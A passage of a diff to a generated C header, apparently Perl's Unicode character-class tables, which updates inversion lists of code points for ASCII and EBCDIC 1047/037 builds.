+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
 	0x112F0,
 	0x112FA,
-	0x11450,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
 	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
 	0x114D0,
 	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
 	0x11650,
 	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
 	0x116C0,
 	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
 	0x11730,
-	0x1173A,
-	0x118E0,
-	0x118EA,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
 	0x11C50,
-	0x11C5A,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
 	0x16A60,
 	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
 	0x16B50,
 	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA0,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D173,
+	0x1D17B,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
 	0x1D7CE,
-	0x1D800,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
 	0x1E950,
-	0x1E95A
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
 };
 
-static const UV XPosixGraph_invlist[] = { /* for EBCDIC 1047 */
-	1287,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_C_invlist[] = { /* for EBCDIC 1047 */
+	1305,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x42,
+	0x40,
+	0xCA,
+	0xCB,
 	0xFF,
 	0x100,
 	0x378,
@@ -56458,11 +183021,13 @@
 	0x5EB,
 	0x5F0,
 	0x5F5,
-	0x600,
-	0x61D,
+	0x606,
+	0x61C,
 	0x61E,
+	0x6DD,
+	0x6DE,
 	0x70E,
-	0x70F,
+	0x710,
 	0x74B,
 	0x74D,
 	0x7B2,
@@ -56476,11 +183041,15 @@
 	0x85C,
 	0x85E,
 	0x85F,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
 	0x8D4,
+	0x8E2,
+	0x8E3,
 	0x984,
 	0x985,
 	0x98D,
@@ -56507,7 +183076,7 @@
 	0x9DF,
 	0x9E4,
 	0x9E6,
-	0x9FC,
+	0x9FE,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -56567,7 +183136,7 @@
 	0xAE6,
 	0xAF2,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -56680,7 +183249,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -56687,8 +183256,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -56821,8 +183388,6 @@
 	0x13F8,
 	0x13FE,
 	0x1400,
-	0x1680,
-	0x1681,
 	0x169D,
 	0x16A0,
 	0x16F9,
@@ -56847,7 +183412,7 @@
 	0x17F0,
 	0x17FA,
 	0x1800,
-	0x180F,
+	0x180E,
 	0x1810,
 	0x181A,
 	0x1820,
@@ -56903,11 +183468,9 @@
 	0x1CC0,
 	0x1CC8,
 	0x1CD0,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -56940,29 +183503,6876 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFF,
+	0x2000,
 	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA0,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D173,
+	0x1D17B,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_C_invlist[] = { /* for EBCDIC 037 */
+	1305,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x606,
+	0x61C,
+	0x61E,
+	0x6DD,
+	0x6DE,
+	0x70E,
+	0x710,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
